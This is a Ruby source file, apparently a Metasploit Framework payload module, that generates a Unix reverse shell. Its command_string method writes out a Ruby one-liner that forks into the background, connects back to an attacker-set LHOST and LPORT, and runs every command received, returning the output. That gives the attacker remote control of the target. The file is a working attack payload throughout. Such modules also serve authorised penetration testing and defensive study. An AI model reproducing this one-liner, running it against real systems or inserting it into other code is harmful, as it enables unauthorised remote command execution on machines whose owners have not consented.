## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' module MetasploitModule CachedSize = 133 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions def initialize(info = {}) super(merge_info(info, 'Name' => 'Unix Command Shell, Reverse TCP (via Ruby)', 'Description' => 'Connect back and create a command shell via Ruby', 'Author' => 'kris katterjohn', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Handler' => Msf::Handler::ReverseTcp, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'cmd', 'RequiredCmd' => 'ruby', 'Payload' => { 'Offsets' => {}, 'Payload' => '' } )) end def generate return super + command_string end def command_string lhost = datastore['LHOST'] lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" end end